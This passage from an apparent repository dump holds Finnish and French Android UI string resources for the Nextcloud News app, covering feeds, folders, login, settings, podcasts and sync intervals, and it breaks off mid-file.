name=\"action_link_open\">Avaa linkki selaimessa</string>\n    <string name=\"action_link_copy\">Kopioi linkki</string>\n    <string name=\"toast_img_download_wait\">Ladataan, odota hetki…</string>\n    <string name=\"toast_img_saved\">Kuva tallennettu</string>\n    <string name=\"toast_img_notwriteable\">Kuvan tallennus epäonnistui.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopioitu leikepöydälle</string>\n    <string name=\"error_download_failed\">Lataus epäonnistui</string>\n    <string name=\"intent_title_share\">Jaa käyttäen</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Poista syöte</string>\n    <string name=\"action_feed_rename\">Nimeä syöte uudelleen</string>\n    <string name=\"action_feed_move\">Siirrä syöte</string>\n    <string name=\"action_feed_notification_settings\">Ilmoitusasetukset</string>\n    <string name=\"feed_remove_button\">Poista</string>\n    <string name=\"feed_rename_button\">Nimeä uudelleen</string>\n    <string name=\"confirm_feed_remove\">Haluatko varmasti poistaa tämän syötteen? Toimintoa ei voi perua!</string>\n    <string name=\"feed_move_list_description\">Valitse kansio, johon syöte siirretään</string>\n    <string name=\"move_feed_root_folder\">Juurikansio</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Poista kansio</string>\n    <string name=\"action_folder_rename\">Nimeä kansio uudelleen</string>\n    <string name=\"folder_remove_button\">Poista</string>\n    <string name=\"folder_rename_button\">Nimeä uudelleen</string>\n    <string name=\"confirm_folder_remove\">Haluatko varmasti poistaa tämän kansion? Tätä ei voi perua!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Vastaanota erillisiä ilmoituksia tälle syötteelle</string>\n    <string name=\"notification_feed_default\">Näytä oletusasetusten mukaisesti yhdessä ilmoituksessa</string>\n    <string name=\"notification_feed_none\">Ei ilmoituksia lainkaan</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Lisä</string>\n    <string name=\"hint_folder_name\">Kansion nimi</string>\n    <string name=\"folder_already_exists\">Kansio on jo olemassa</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manuaalinen kirjautuminen</string>\n    <string name=\"login_sso\">Kirjaudu sisään käyttäen Nextcloud tiedostosovellusta</string>\n    <string name=\"pref_title_username\">Käyttäjätunnus</string>\n    <string name=\"pref_title_password\">Salasana</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloudin osoite</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Kirjaudu</string>\n    <string name=\"login_progress_signing_in\">Kirjaudutaan sisään...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Tämä kenttä vaaditaan</string>\n    <string name=\"error_invalid_url\">Virheellinen URL</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Ladattiin %d vanha artikkeli</item>\n        <item quantity=\"other\">Ladattiin %d vanhaa artikkelia</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Ei enempää artikkeleita saatavilla</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Haettu %d artikkeli…</item>\n        <item quantity=\"other\">Haettu %d artikkelia…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Asetukset</string>\n    <string name=\"cache_is_cleared\">Välimuisti on tyhjennetty!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Yleiset</string>\n    <string name=\"pref_title_general_sort_order\">Lajittelujärjestys</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Uusi → Vanha</string>\n    <string name=\"pref_general_sort_order_old_new\">Vanha → Uusi</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Toiminto oikealle pyyhkäistäessä</string>\n    <string name=\"pref_rename_action_swipe_left\">Toiminto vasemmalle pyyhkäistäessä</string>\n\n    <string name=\"pref_title_general_search_in\">Etsi kohteesta</string>\n\n    <string name=\"pref_general_search_in_title\">Otsikko</string>\n    <string name=\"pref_general_search_in_body\">Sisältö</string>\n    <string name=\"pref_general_search_in_both\">Molemmat</string>\n\n    <string name=\"dialog_clearing_cache\">Tyhjennetään välimuistia</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Tyhjennetään välimuistia, odota hetki…</string>\n    <string name=\"reset_cache_unsaved_changes\">Havaittiin synkronoimattomia muutoksia. Haluatko silti tyhjentää välimuistin?</string>\n    <string name=\"warning\">Varoitus</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synkronoi käynnistäessä</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Näytä vain lukemattomat kohteet</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Poista koneen nimen (hostname) varmistus</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Liiku äänipainikkeilla</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Merkitse luetuiksi vierittäessä</string>\n    <string name=\"pref_title_ShowFastActions\">Ota käyttöön pikatoiminnot</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Ohita artikkelinäkymä ja avaa se suoraan selaimessa</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Hyväksytäänkö tuntematon varmenne?</string>\n    <string name=\"mtm_decision_always\">Aina</string>\n    <string name=\"mtm_decision_abort\">Keskeytä</string>\n    <string name=\"mtm_notification\">Varmennevahvistus</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Podcastia ei ole valittu</string>\n    <string name=\"no_chapters_available\">Ei kappaleita saatavilla</string>\n    <string name=\"exit_playback\">Sulje toistin</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Toistonopeus</string>\n    <string name=\"notification_downloading_podcast_title\">Ladataan podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Oletko varma?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Poista</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Tietoja</string>\n    <string name=\"pref_license\">Lisenssi</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versio 3</string>\n    <string name=\"pref_report_issue\">Ilmoita ongelmasta</string>\n    <string name=\"pref_report_issue_summary\">Vaatii (ilmaisen) GitHub-tilin</string>\n    <string name=\"pref_contribute\">Osallistu!</string>\n    <string name=\"pref_contribute_summary\">Hanki lähdekoodi</string>\n    <string name=\"pref_privacy\">Yksityisyys</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android - tietosuojakäytäntö</string>\n    <string name=\"pref_version\">Nextcloud News Android-sovellus</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Näyttö</string>\n    <string name=\"pref_title_app_theme\">Teema</string>\n    <string name=\"pref_title_feed_list_layout\">Syöteluettelon näkymä</string>\n    <string name=\"pref_title_font_size\">Fontin koko</string>\n    <string name=\"pref_display_browser\">Selain</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Artikkelinäkymän toimintopainikkeet</string>\n\n    <string name=\"pref_display_apptheme_auto\">Järjestelmäoletus</string>\n    <string name=\"pref_display_apptheme_light\">Vaalea</string>\n    <string name=\"pref_display_apptheme_dark\">Tumma</string>\n\n    <string name=\"pref_oled_mode\">Musta tausta</string>\n    <string name=\"pref_oled_mode_summary\">Tumma teema OLED-näytöille</string>\n\n    <string name=\"pref_external_player\">Ulkoinen soitin</string>\n    <string name=\"pref_external_player_summary\">Toista podcastit oletusarvoisessa mediasovelluksessasi</string>\n\n    <string name=\"pref_display_browser_cct\">Sisäänrakennettu selain (Chrome Custom Tabs)</string>\n    <string name=\"pref_display_browser_built_in\">Sisäänrakennettu selain</string>\n    <string name=\"pref_display_browser_external\">Ulkoinen selain</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Pienoiskuvat (otsikoissa)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Esikatselukuvat</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Yksinkertainen teksti</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Otsikot</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Koko teksti</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web-asettelu</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Korttinäkymä</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pieni</string>\n    <string name=\"pref_display_font_size_d\">Oletus</string>\n    <string name=\"pref_display_font_size_l\">Suuri</string>\n    <string name=\"pref_display_font_size_xl\">Erittäin suuri</string>\n\n    <string name=\"content_desc_play\">Esitys</string>\n    <string name=\"content_desc_pause\">Keskeytä</string>\n    <string name=\"content_desc_playback_speed\">Toistonopeus</string>\n    <string name=\"content_desc_rewind\">Kelaa takaisin</string>\n    <string name=\"content_desc_forward\">Välitä</string>\n    <string name=\"content_desc_expand\">Laajenna</string>\n    <string name=\"content_desc_collapse\">Kutista näkymää</string>\n    <string name=\"content_desc_mark_as_read\">Merkitse luetuksi</string>\n    <string name=\"content_desc_mark_as_unread\">Merkitse lukemattomaksi</string>\n    <string name=\"content_desc_tap_to_refresh\">Napauta päivittääksesi</string>\n    <string name=\"content_desc_add_to_favorites\">Lisää suosikkeihin</string>\n    <string name=\"content_desc_remove_from_favorites\">Poista suosikeista</string>\n    <string name=\"content_desc_show_password\">Näytä salasana</string>\n    <string name=\"content_desc_delete\">Poista</string>\n    <string name=\"content_desc_download\">Lataa</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Virhe</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Vaikuttaa siltä, että News-sovellusta ei ole asennettu tai aktivoitu palvelimellesi. Lue tästä ohjeet sovelluksen asentamiseen palvelimelle: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Jokin meni pieleen :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">News-verkkosovelluksen version paluuarvo on \\\"0\\\":. Katso seuraavaa virheraporttia: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Tämä sovellus versio ei ole yhteensopiva käyttämäsi Nextcloud-uutissovelluksen kanssa. Päivitä uutissovellus ja sovelluskehikko.</string>\n    <string name=\"login_dialog_title_security_warning\">Turvallisuusvaroitus</string>\n    <string name=\"login_dialog_text_security_warning\">Et käytä HTTPS-protokollaa, jota vahvasti suositellaan. Hyökkääjä voi siepata viestit ja saada pääsyn joihinkin arkaluontoisiin tietoihin, kuten salasana tms.</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Jokin meni pieleen. Yritä uudelleen.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; synkronointi</string>\n    <string name=\"pref_title_clearCache\">Tyhjennä välimuisti</string>\n    <string name=\"pref_title_CacheImagesOffline\">Lataa kuvat välimuistiin offline-tilaa varten</string>\n    <string name=\"pref_title_Max_Cache_Size\">Välimuistin enimmäiskoko</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Ei koskaan</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Vain WiFi-yhteydellä</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">WiFi- ja mobiilidatayhteydellä</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Kysy, kun ei ole WiFi-yhteyttä</string>\n\n    <string name=\"array_sync_interval_min_0\">Ei koskaan</string>\n    <string name=\"array_sync_interval_min_5\">5 minuuttia</string>\n    <string name=\"array_sync_interval_min_15\">15 minuuttia</string>\n    <string name=\"array_sync_interval_min_30\">30 minuuttia</string>\n    <string name=\"array_sync_interval_min_45\">45 minuuttia</string>\n    <string name=\"array_sync_interval_hour_1\">1 tunti</string>\n    <string name=\"array_sync_interval_hour_2\">1 tuntia</string>\n    <string name=\"array_sync_interval_hour_3\">2 tuntia</string>\n    <string name=\"array_sync_interval_hour_6\">6 tuntia</string>\n    <string name=\"array_sync_interval_hour_12\">12 tuntia</string>\n    <string name=\"array_sync_interval_hour_24\">24 tuntia</string>\n    <string name=\"switch_account\">Vaihda tiliä</string>\n    \n    <string name=\"successfully_exported\">Viety onnistuneesti kohteeseen:</string>\n    <string name=\"opml_export\">OPML-vienti</string>\n    <string name=\"parsing_opml\">Jäsennetään OPML-tietoja</string>\n    <string name=\"please_wait\">Odota hetki…</string>\n    <string name=\"interval_sync_title\">Synkronoinnin aikaväli</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-fr/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Synchronisation auto.</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalle de synchronisation</string>\n    <string name=\"empty_view_content\">Aucun article</string>\n    <string name=\"empty_view_content_action\">Faites glisser vers le bas pour rafraîchir</string>\n    <string name=\"toast_GettingMoreItems\">Téléchargement d\\'autres objets en cours. Veuillez patienter...</string>\n    <string name=\"no_wifi_available\">Aucune connexion Wi-Fi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Voulez-vous télécharger les images sans connexion Wi-Fi ?</string>\n    <string name=\"current_version\">Vous utilisez la version %s</string>\n    <string name=\"widget_header\">Actualités ownCloud</string>\n    <string name=\"message_bar_scroll_top\">Recharger et défiler tout en haut</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nouvel article disponible</item>\n        <item quantity=\"many\">%d nouveaux articles disponibles</item>\n        <item quantity=\"other\">%d nouveaux articles disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Recharger</string>\n    <string name=\"allUnreadFeeds\">Tous les articles non lus</string>\n    <string name=\"starredFeeds\">Articles favoris</string>\n    <string name=\"downloadedPodcasts\">Podcasts téléchargés</string>\n    <string name=\"title_activity_new_feed\">Ajouter un flux</string>\n\n    <string name=\"menu_update\">Rafraîchir</string>\n    <string name=\"menu_markAllAsRead\">Marquer tous comme lus</string>\n    <string name=\"menu_StartImageCaching\">Télécharger les images</string>\n    <string name=\"menu_downloadMoreItems\">+ d\\'articles</string>\n\n    <string name=\"tv_showing_cached_version\">Affichage de la version en cache</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Favori</string>\n    <string name=\"action_read\">Lu</string>\n    <string name=\"action_playPodacst\">Lire le Podcast</string>\n    <string name=\"action_removePodcast\">Supprimer le podcast média</string>\n    <string name=\"action_openInBrowser\">Afficher dans le navigateur internet</string>\n    <string name=\"action_Share\">Partager</string>\n    <string name=\"action_login\">Paramètres du serveur</string>\n    <string name=\"action_save\">Enregistrer</string>\n    <string name=\"action_settings\">Paramètres</string>\n    <string name=\"action_sync_settings\">Paramètres de synchronisation</string>\n    <string name=\"action_add_new_feed\">Ajouter un nouveau flux</string>\n    <string name=\"action_add_new_folder\">Créer un nouveau dossier</string>\n    <string name=\"action_textToSpeech\">Lire à haute voix</string>\n    <string name=\"action_search\">Rechercher</string>\n    <string name=\"action_download_articles_offline\">Télécharger les articles hors ligne</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Réception des articles pour usage hors-ligne</string>\n    <string name=\"notification_download_images_offline\">Réception des images pour usage hors-ligne</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Il y a %d nouvel article non lu</item>\n        <item quantity=\"many\">Il y a %d nouveaux articles non lus</item>\n        <item quantity=\"other\">Il y a %d nouveaux articles non lus</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nouvel article non lu</item>\n        <item quantity=\"many\">%d nouveaux articles non lus</item>\n        <item quantity=\"other\">%d nouveaux articles non lus</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Adresse du flux</string>\n    <string name=\"action_add_feed\">Ajouter un flux</string>\n    <string name=\"import_opml\">Import OPML</string>\n    <string name=\"export_opml\">Export OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Télécharger l\\'Image</string>\n    <string name=\"action_img_sharelink\">Partager le Lien vers l\\'Image</string>\n    <string name=\"action_img_open\">Ouvrir l\\'Image dans le Navigateur</string>\n    <string name=\"action_img_copylink\">Copier le Lien vers l\\'Image</string>\n    <string name=\"action_link_share\">Partager par un Lien</string>\n    <string name=\"action_link_open\">Ouvrir le Lien dans le Navigateur</string>\n    <string name=\"action_link_copy\">Copier le Lien</string>\n    <string name=\"toast_img_download_wait\">Téléchargement. Veuillez patienter...</string>\n    <string name=\"toast_img_saved\">Image sauvegardée</string>\n    <string name=\"toast_img_notwriteable\">Erreur d\\'écriture de l\\'Image.</string>\n    <string name=\"toast_copied_to_clipboard\">Copié dans le presse-papier</string>\n    <string name=\"error_download_failed\">Le téléchargement a échoué</string>\n    <string name=\"intent_title_share\">Partager via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Retirer le flux</string>\n    <string name=\"action_feed_rename\">Renommer le Flux</string>\n    <string name=\"action_feed_move\">Déplacer le Flux</string>\n    <string name=\"action_feed_notification_settings\">Paramètres de notification</string>\n    <string name=\"action_feed_open_in\">Paramètres d’ouverture</string>\n    <string name=\"action_feed_open_in_general_setting\">Utilisez les paramètres généraux</string>\n    <string name=\"action_feed_open_in_detailed_view\">Vue détaillée</string>\n    <string name=\"feed_remove_button\">Retirer</string>\n    <string name=\"feed_rename_button\">Renommer</string>\n    <string name=\"confirm_feed_remove\">Voulez-vous vraiment retirer ce flux ? Cela ne pourra pas être annulé !</string>\n    <string name=\"feed_move_list_description\">Sélectionner le dossier dans lequel déplacer le flux</string>\n    <string name=\"move_feed_root_folder\">Dossier racine</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Supprimer le dossier</string>\n    <string name=\"action_folder_rename\">Renommer le dossier</string>\n    <string name=\"folder_remove_button\">Supprimer</string>\n    <string name=\"folder_rename_button\">Renommer</string>\n    <string name=\"confirm_folder_remove\">Voulez-vous vraiment supprimer ce dossier ? Cette action est irréversible !</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Recevez des notifications uniques pour ce flux</string>\n    <string name=\"notification_feed_default\">Tous les flux avec les paramètres par défaut apparaîtront dans une notification</string>\n    <string name=\"notification_feed_none\">Aucune notification</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Ajouter</string>\n    <string name=\"hint_folder_name\">Nom du dossier</string>\n    <string name=\"folder_already_exists\">Le dossier existe déjà</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Connexion manuelle</string>\n    <string name=\"login_sso\">Se connecter avec l\\'application Nextcloud Files</string>\n    <string name=\"pref_title_username\">Nom d’utilisateur</string>\n    <string name=\"pref_title_password\">Mot de passe</string>\n    <string name=\"pref_title_owncloudRootPath\">adresse racine d\\'ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">S’identifier</string>\n    <string name=\"login_progress_signing_in\">Connexion...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Ce champs est requis</string>\n    <string name=\"error_invalid_url\">Adresse incorrecte</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d élément marqué comme lus</item>\n        <item quantity=\"many\">%d éléments marqués comme lus</item>\n        <item quantity=\"other\">%d éléments marqués comme lus</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d ancien article téléchargé</item>\n        <item quantity=\"many\">%d anciens articles téléchargés</item>\n        <item quantity=\"other\">%d anciens articles téléchargés</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Aucun article supplémentaire disponible</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">%d article trouvé pour l\\'instant</item>\n        <item quantity=\"many\">%d articles trouvés pour l\\'instant ...</item>\n        <item quantity=\"other\">%d articles trouvés pour l\\'instant...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Paramètres</string>\n    <string name=\"cache_is_cleared\">Cache nettoyé! </string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Généraux</string>\n    <string name=\"pref_title_general_sort_order\">Ordre de tri</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Récent -> Ancien</string>\n    <string name=\"pref_general_sort_order_old_new\">Ancien -> Récent</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Action lors d\\'un glisser vers la droite</string>\n    <string name=\"pref_rename_action_swipe_left\">Action lors d\\'un glisser vers la gauche</string>\n\n    <string name=\"pref_title_general_search_in\">Rechercher dans</string>\n\n    <string name=\"pref_general_search_in_title\">Titre</string>\n    <string name=\"pref_general_search_in_body\">Corps</string>\n    <string name=\"pref_general_search_in_both\">Les deux</string>\n\n    <string name=\"dialog_clearing_cache\">Vider le cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Nettoyage du cache. Veuillez patienter...</string>\n    <string name=\"reset_cache_unsaved_changes\">Certaines modifications ne sont pas synchronisées. Voulez-vous tout de même réinitialiser le cache ?</string>\n    <string name=\"warning\">Attention</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synchro. au démarrage</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Masquer les articles lus</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Désactiver la vérification du nom d\\'hôte</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Naviguer avec les boutons de volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marquer comme lu lors du défilement</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Synchroniser lors du défilement vers le bas</string>\n    <string name=\"pref_title_ShowFastActions\">Activer les fonctions d\\'accès rapide</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Ignorer la vue détaillée et ouvrir dans un navigateur</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Le bouton Retour ouvre le dossier</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accepter les certificats non sûrs ?</string>\n    <string name=\"mtm_decision_always\">Toujours</string>\n    <string name=\"mtm_decision_abort\">Annuler</string>\n    <string name=\"mtm_notification\">Vérification du certificat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Aucun podcast sélectionné</string>\n    <string name=\"no_chapters_available\">Aucun chapitre disponible</string>\n    <string name=\"exit_playback\">Quitter le lecteur</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Vitesse de lecture</string>\n    <string name=\"notification_downloading_podcast_title\">Téléchargement du podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Êtes-vous sûr ?</string>\n    <string name=\"dialog_podcast_remove_body\">Voulez-vous supprimer les médias téléchargés pour %1$s ?</string>\n    <string name=\"dialog_podcast_status_failed\">Échec de suppression des médias pour %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Le média pour %1$s a été supprimé</string>\n    <string name=\"dialog_podcast_remove_confirm\">Retirer</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">À propos</string>\n    <string name=\"pref_license\">Licence</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Signaler un problème</string>\n    <string name=\"pref_report_issue_summary\">Requiert un compte GitHub (gratuit)</string>\n    <string name=\"pref_contribute\">Contribuez !</string>\n    <string name=\"pref_contribute_summary\">Obtenir le code source</string>\n    <string name=\"pref_privacy\">Vie privée</string>\n    <string name=\"pref_privacy_summary\">Politique de confidentialité de Nextcloud News pour Android</string>\n    <string name=\"pref_news_policy\">Contactez-nous / Politique</string>\n    <string name=\"pref_news_policy_summary\">Politique d\\'actualités Nextcloud Actualités Android / Contactez-nous</string>\n    <string name=\"pref_version\">Application Android NextCloud News</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Affichage</string>\n    <string name=\"pref_title_app_theme\">Thème</string>\n    <string name=\"pref_title_feed_list_layout\">Disposition de la liste des flux</string>\n    <string name=\"pref_title_font_size\">Taille des caractères</string>\n    <string name=\"pref_display_browser\">Navigateur</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Icônes d\\'action (Vue détaillée)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Paramètre par défaut</string>\n    <string name=\"pref_display_apptheme_light\">Clair</string>\n    <string name=\"pref_display_apptheme_dark\">Sombre</string>\n\n    <string name=\"pref_oled_mode\">Arrière-plan sombre</string>\n    <string name=\"pref_oled_mode_summary\">Pour le thème sombre sur les écrans OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Zoom de la vue détaillée</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Activer le zom sur le contenu de la vue détaillée</string>\n\n    <string name=\"pref_external_player\">Lecteur externe</string>\n    <string name=\"pref_external_player_summary\">Lire les podcasts dans votre application multimédia par défaut</string>\n\n    <string name=\"pref_display_browser_cct\">Onglets de navigation Chrome intégré</string>\n    <string name=\"pref_display_browser_built_in\">Navigateur intégré</string>\n    <string name=\"pref_display_browser_external\">Navigateur externe</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniatures (titres uniquement)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Vignettes</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Texte simple</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Titres</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Texte intégral</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Mise en page Web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vue carte</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Petit</string>\n    <string name=\"pref_display_font_size_d\">Par défaut</string>\n    <string name=\"pref_display_font_size_l\">Grand</string>\n    <string name=\"pref_display_font_size_xl\">Très grand</string>\n\n    <string name=\"content_desc_play\">Lire</string>\n    <string name=\"content_desc_pause\">Pause</string>\n    <string name=\"content_desc_playback_speed\">Vitesse de lecture</string>\n    <string name=\"content_desc_rewind\">Rembobiner</string>\n    <string name=\"content_desc_forward\">Transférer</string>\n    <string name=\"content_desc_expand\">Étendre</string>\n    <string name=\"content_desc_collapse\">Replier</string>\n    <string name=\"content_desc_mark_as_read\">Marquer comme lu</string>\n    <string name=\"content_desc_mark_as_unread\">Marquer comme non lu</string>\n    <string name=\"content_desc_tap_to_refresh\">Tapoter pour rafraîchir</string>\n    <string name=\"content_desc_add_to_favorites\">Ajouter aux favoris</string>\n    <string name=\"content_desc_remove_from_favorites\">Retirer des favoris</string>\n    <string name=\"content_desc_show_password\">Afficher le mot de passe</string>\n    <string name=\"content_desc_delete\">Supprimer</string>\n    <string name=\"content_desc_download\">Télécharger</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Erreur</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Il semble que l\\'application d\\'actualités ne soit pas installée ou ne soit pas activée sur votre serveur. Consultez les instructions pour paramétrer l\\'application d\\'actualités sur votre serveur : %1$s.</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Quelque chose s\\'est mal passé :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">L\\'application Web News a renvoyé la version \\\"0\\\". Veuillez consulter le rapport d\\'incident suivant: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">La version de cette application n\\'est pas compatible avec votre application News de NextCloud. Veuillez mettre à jour l\\'application News et le framework d\\'applications.</string>\n    <string name=\"login_dialog_title_security_warning\">Avertissement de sécurité</string>\n    <string name=\"login_dialog_text_security_warning\">Vous n\\'utilisez pas HTTPS, ce qui est fortement recommandé d\\'utiliser. Une personne malveillante pourrait intercepter votre trafic et obtenir des données sensibles (par ex. votre mot de passe).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Une erreur est survenue. Merci d\\'essayer à nouveau.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Données &amp; synchronisation</string>\n    <string name=\"pref_title_clearCache\">Vider le cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Mise en cache hors-ligne des images</string>\n    <string name=\"pref_title_Max_Cache_Size\">Taille maximale du cache</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Jamais</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Via WiFi uniquement</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Via WiFi &amp; mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Demander lorsqu\\'il n\\'y a pas de connexion WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Jamais</string>\n    <string name=\"array_sync_interval_min_5\">5 minutes</string>\n    <string name=\"array_sync_interval_min_15\">15 minutes</string>\n    <string name=\"array_sync_interval_min_30\">30 minutes</string>\n    <string name=\"array_sync_interval_min_45\">45 minutes</string>\n    <string name=\"array_sync_interval_hour_1\">1 heure</string>\n    <string name=\"array_sync_interval_hour_2\">2 